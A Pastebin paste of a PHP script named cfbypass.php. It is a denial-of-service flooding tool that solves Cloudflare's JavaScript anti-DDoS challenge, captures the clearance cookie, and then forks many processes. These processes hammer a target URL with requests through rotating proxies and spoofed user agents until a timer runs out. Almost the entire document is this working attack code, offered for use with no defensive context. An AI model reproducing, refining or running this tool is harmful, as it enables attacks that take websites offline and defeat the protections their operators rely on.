Advertisement
wtfbbq

cfbypass.php

Nov 16th, 2015
3,856
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.25 KB | None | 0 0
  1. <?php
  2. if($argc != 5) {
  3.         echo "Usage: php $argv[0] http://site.com/ (proxy list set to dog if none)(threads)(time)\n";
  4.         die();
  5. }
  6. function get_between($string,$start,$end)
  7. {
  8.     $string = " ".$string;
  9.     $ini = strpos($string, $start);
  10.     if($ini==0) return "";
  11.     $ini += strlen($start);
  12.     $len = strpos($string, $end, $ini) - $ini;
  13.  
  14.     return substr($string, $ini, $len);
  15. }
  16. function rand_line($fileName, $maxLineLength = 4096) {
  17.     $handle = @fopen($fileName, "r");
  18.     if ($handle) {
  19.         $random_line = null;
  20.         $line = null;
  21.         $count = 0;
  22.         while (($line = fgets($handle, $maxLineLength)) !== false) {
  23.             $count++;
  24.             if(rand() % $count == 0) {
  25.               $random_line = $line;
  26.             }
  27.         }
  28.         if (!feof($handle)) {
  29.             echo "Error: unexpected fgets() fail\n";
  30.             fclose($handle);
  31.             return null;
  32.         } else {
  33.             fclose($handle);
  34.         }
  35.         return $random_line;
  36.     }
  37. }
  38. function bypassyourdog($domain, $useragent, $proxy) {  
  39.     $cURL = curl_init();
  40.     curl_setopt($cURL, CURLOPT_URL, $domain);
  41.     curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
  42.     curl_setopt($cURL, CURLOPT_HEADER, 1);
  43.     curl_setopt($cURL, CURLOPT_USERAGENT, $useragent);
  44.     curl_setopt($cURL, CURLOPT_FOLLOWLOCATION, true);
  45.     curl_setopt($cURL, CURLOPT_PROXY, $proxy);
  46.     curl_setopt($cURL, CURLOPT_COOKIEFILE, "cookie.txt");
  47.     $string = curl_exec($cURL);
  48.     curl_close($cURL);
  49.     if(strstr($res, "DDoS protection by CloudFlare")){
  50.         return 'UAM not detected.';
  51.     }
  52.     $domain = get_between($string, '</span> ', '.</h1>');
  53.     $jschl_vc = get_between($string, '"jschl_vc" value="', '"/>');
  54.     $pass = get_between($string, '"pass" value="', '"/>');
  55.     $settimeout = get_between($string, 'setTimeout(function(){', 'f.submit()');
  56.     $mathvariables = get_between($settimeout, 'var t,r,a,f, ', ';');
  57.     $mathvariable = explode('=', $mathvariables);
  58.     $mathvariable1 = get_between($mathvariables, '{"', '":');
  59.     $mathvariable2 = $mathvariable[0].".".$mathvariable1;
  60.     $math1 = get_between($mathvariables, '":', '}');
  61.     $math2 = $mathvariable[0].get_between($settimeout, ";".$mathvariable[0], ';a.value');
  62.     $fuck = 0;
  63.     $math2s = explode(';', $math2);
  64.     $mathtotal = 0;
  65.     $answers = array();
  66.     $totalformath1 = 0;
  67.     //echo "Domain: $domain\nJSCHL_VC: $jschl_vc\nPASS: $pass\nSet Timeout: $settimeout\n";
  68.     if($pass == NULL) {
  69.         file_put_contents('log.txt', $string, FILE_APPEND);
  70.     }
  71.     if(get_between($math1, '((', '))') != NULL) {
  72.         $dog311 = get_between($math1, '((', '))');
  73.         $math1ss = explode(')', $dog311);
  74.         $math1sss = explode('+', $math1ss[0]);
  75.         $math1ssss = explode('(', $dog311);
  76.         $math1sssss = explode('+', $math1ssss[1]);
  77.         $ifuckdog = 0;
  78.         $ufuckdog = 0;
  79.         foreach($math1sss as $imoutofvars2) {
  80.             if ($imoutofvars2 == "!" || $imoutofvars2 == "!![]" || $imoutofvars2 == "![]") {
  81.                 $ifuckdog++;
  82.             }
  83.         }
  84.         foreach($math1sssss as $imoutofvars3) {
  85.             if ($imoutofvars3 == "!" || $imoutofvars3 == "!![]" || $imoutofvars3 == "![]") {
  86.                 $ufuckdog++;
  87.             }
  88.         }
  89.         $totalformath1 = $ifuckdog.$ufuckdog;
  90.         array_push($answers, $totalformath1." +");
  91.     } else {
  92.         $math1ss = explode('+', $math1);
  93.         foreach($math1ss as $fuckmydog){
  94.             if ($fuckmydog == "!" || $fuckmydog == "!![]" || $fuckmydog == "![]") {
  95.                 $totalformath1++;
  96.             }
  97.         }
  98.         array_push($answers, $totalformath1." +");
  99.     }
  100.     foreach($math2s as $dog123){
  101.         $typeofmath = substr($dog123, strlen($mathvariable2), 1);
  102.         if(get_between($dog123, '((', '))') != NULL) {
  103.             $dog321 = get_between($dog123, '((', '))');
  104.             $poop = 0;
  105.             $shit = 0;
  106.             $mathss = explode(')', $dog321);
  107.             $mathsss = explode('+', $mathss[0]);
  108.             $mathssss = explode('(', $dog321);
  109.             $mathsssss = explode('+', $mathssss[1]);
  110.             foreach($mathsss as $imoutofvars) {
  111.                 if ($imoutofvars == "!" || $imoutofvars == "!![]" || $imoutofvars == "![]") {
  112.                     $poop++;
  113.                 }
  114.             }
  115.             foreach($mathsssss as $imoutofvars1) {
  116.                 if ($imoutofvars1 == "!" || $imoutofvars1 == "!![]" || $imoutofvars1 == "![]") {
  117.                     $shit++;
  118.                 }
  119.             }
  120.             $fuck = $poop.$shit;
  121.             array_push($answers, $fuck." ".$typeofmath);
  122.             $fuck = 0;
  123.         } else {
  124.             $fuckingdogs = explode('=', $dog123);
  125.             $fuckingcats = explode('+', $fuckingdogs[1]);
  126.             foreach($fuckingcats as $idinglecats) {
  127.                 if ($idinglecats == "!" || $idinglecats == "!![]" || $idinglecats == "![]") {
  128.                     $fuck++;
  129.                 }
  130.             }
  131.             array_push($answers, $fuck." ".$typeofmath);
  132.             $fuck = 0;
  133.         }
  134.     }
  135.     foreach($answers as $answer) {
  136.         $ilikedogs = explode(' ', $answer);
  137.         switch($ilikedogs[1]) {
  138.             case "+":
  139.                 $mathtotal = $mathtotal + $ilikedogs[0];
  140.             break;
  141.             case "-":
  142.                 $mathtotal = $mathtotal - $ilikedogs[0];
  143.             break;
  144.             case "*":
  145.                 $mathtotal = $mathtotal * $ilikedogs[0];
  146.             break;
  147.         }
  148.     }
  149.     $jschl_answer = strlen($domain) + $mathtotal;
  150.     $domain1 = $domain."/cdn-cgi/l/chk_jschl?jschl_vc=$jschl_vc&pass=$pass&jschl_answer=$jschl_answer";
  151.     usleep(3000000);
  152.     $cURL1 = curl_init();
  153.     curl_setopt($cURL1, CURLOPT_URL, $domain1);
  154.     curl_setopt($cURL1, CURLOPT_RETURNTRANSFER, 1);
  155.     curl_setopt($cURL1, CURLOPT_HEADER, 1);
  156.     curl_setopt($cURL1, CURLOPT_USERAGENT, $useragent);
  157.     curl_setopt($cURL1, CURLOPT_FOLLOWLOCATION, true);
  158.     curl_setopt($cURL1, CURLOPT_PROXY, $proxy);
  159.     curl_setopt($cURL1, CURLOPT_COOKIEFILE, "cookie.txt");
  160.     $test = curl_exec($cURL1);
  161.     $cfuid = get_between($test, '__cfduid=', '; expires');
  162.     $cf_clearance = get_between($test, 'cf_clearance=', '; expires');
  163.     //echo '__cfduid='.$cfuid.'; cf_clearance='.$cf_clearance."\n";
  164.     return '__cfduid='.$cfuid.'; cf_clearance='.$cf_clearance;
  165. }
  166. $useragents = array(
  167.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  168.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  169.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  170.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  171.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  172.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  173.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  174.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  175.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  176.     "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  177.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  178.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  179. );
  180. $end = time() + $argv[4];
  181. $threads = $argv[3];
  182. $failed = 0;
  183. $succeed = 0;
  184. echo "Made by Decafe\n";
  185. echo "Starting cf bypass on $argv[1] for $argv[4] seconds with $argv[3] threads\n";
  186. for($i = 0; $i < $threads; $i ++){
  187.     $pid = pcntl_fork();
  188.     if($pid == -1) {
  189.         echo "Forking failed on $i loop of forking.\n";
  190.         exit();
  191.     } elseif($pid) {
  192.         continue;
  193.     } else {
  194.         if(!(strpos($argv[2], "dog"))) {
  195.                 $proxy = rand_line($argv[2]);
  196.         } else {
  197.             $proxy = NULL;
  198.         }
  199.         $ua = $useragents[array_rand($useragents)];
  200.         $bypasscookie = bypassyourdog($argv[1], $ua, $proxy);
  201.         if(strlen($bypasscookie) > 70) {
  202.             while($end > time()) {
  203.                 $flood = curl_init();
  204.                 curl_setopt($flood, CURLOPT_URL, $argv[1]);
  205.                 curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
  206.                 curl_setopt($flood, CURLOPT_USERAGENT, $ua);
  207.                 curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
  208.                 curl_setopt($flood, CURLOPT_PROXY, $proxy);
  209.                 curl_setopt($flood, CURLOPT_COOKIE, $bypasscookie);
  210.                 $flood123 = curl_exec($flood);
  211.                 curl_close($flood);
  212.             }
  213.         }
  214.         die();
  215.     }
  216. }
  217. for($j = 0; $j < $threads; $j++) {
  218.     $pid = pcntl_wait($status);
  219. }
  220. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement